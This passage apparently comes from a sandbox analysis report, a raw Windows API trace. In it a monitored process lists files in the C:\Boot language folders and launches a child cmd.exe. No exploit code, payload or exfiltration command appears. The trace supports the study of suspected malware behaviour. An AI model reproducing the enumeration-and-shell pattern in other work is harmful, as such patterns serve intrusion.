ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0033.124] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.124] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312e30 [0033.125] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.125] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.125] FindClose (in: hFindFile=0x312e30 | out: hFindFile=0x312e30) returned 1 [0033.125] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.125] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0033.125] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.125] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312e30 [0033.126] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.126] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.126] FindClose (in: hFindFile=0x312e30 | out: hFindFile=0x312e30) returned 1 [0033.126] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.126] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0033.126] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.126] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312e30 [0033.127] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.128] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.128] FindClose (in: hFindFile=0x312e30 | out: hFindFile=0x312e30) returned 1 [0033.128] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.128] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0033.128] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.128] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312e30 [0033.128] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.128] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.128] FindClose (in: hFindFile=0x312e30 | out: hFindFile=0x312e30) returned 1 [0033.129] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.129] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0033.129] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.129] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312e30 [0033.130] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.130] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.130] FindClose (in: hFindFile=0x312e30 | out: hFindFile=0x312e30) returned 1 [0033.130] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.130] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0033.130] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.130] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312e30 [0033.130] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.130] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.130] FindClose (in: hFindFile=0x312e30 | out: hFindFile=0x312e30) returned 1 [0033.131] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.131] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0033.131] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.131] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312e30 [0033.132] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.132] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.132] FindClose (in: hFindFile=0x312e30 | out: hFindFile=0x312e30) returned 1 [0033.132] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.132] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0033.132] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.132] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312e30 [0033.132] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.132] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.132] FindClose (in: hFindFile=0x312e30 | out: hFindFile=0x312e30) returned 1 [0033.133] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.133] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0033.133] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.133] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3152b8 [0033.924] FindNextFileW (in: hFindFile=0x3152b8, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.924] FindNextFileW (in: hFindFile=0x3152b8, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.665] FindClose (in: hFindFile=0x3eb2308 | out: hFindFile=0x3eb2308) returned 1 [0034.668] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3ef42c0 | out: hHeap=0x220000) returned 1 [0034.670] FindNextFileW (in: hFindFile=0x3eb22c8, lpFindFileData=0x34ff094 | out: lpFindFileData=0x34ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34ff1f4, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 Thread: id = 25 os_tid = 0x9d8 Thread: id = 26 os_tid = 0x9e8 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4d760000" os_pid = "0x940" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x944 [0032.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fd40 | out: lpSystemTimeAsFileTime=0x18fd40*(dwLowDateTime=0xbc6d5010, dwHighDateTime=0x1d543f6)) [0032.417] GetCurrentProcessId () returned 0x940 [0032.417] GetCurrentThreadId () returned 0x944 [0032.417] GetTickCount () returned 0x18297 [0032.417] QueryPerformanceCounter (in: lpPerformanceCount=0x18fd48 | out: lpPerformanceCount=0x18fd48*=15268493895) returned 1 [0032.418] GetModuleHandleW (lpModuleName=0x0) returned 0x4abe0000 [0032.418] __set_app_type (_Type=0x1) [0032.418] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ac07810) returned 0x0 [0032.418] __getmainargs (in: _Argc=0x4ac2a608, _Argv=0x4ac2a618, _Env=0x4ac2a610, _DoWildCard=0, _StartInfo=0x4ac0e0f4 | out: _Argc=0x4ac2a608, _Argv=0x4ac2a618, _Env=0x4ac2a610) returned 0 [0032.419] GetCurrentThreadId () returned 0x944 [0032.419] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x944) returned 0x3c [0032.419] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0032.419] GetProcAddress (hModule=0x76e30000, lpProcName="SetThreadUILanguage") returned 0x76e46d40 [0032.419] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0032.420] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0032.420] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fcd8 | out: phkResult=0x18fcd8*=0x0) returned 0x2 [0032.420] VirtualQuery (in: lpAddress=0x18fcc0, lpBuffer=0x18fc40, dwLength=0x30 | out: lpBuffer=0x18fc40*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0032.420] VirtualQuery (in: lpAddress=0x90000, lpBuffer=0x18fc40, dwLength=0x30 | out: lpBuffer=0x18fc40*(BaseAddress=0x90000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0032.420] VirtualQuery (in: lpAddress=0x91000, lpBuffer=0x18fc40, dwLength=0x30 | out: lpBuffer=0x18fc40*(BaseAddress=0x91000, AllocationBase=0x90000, 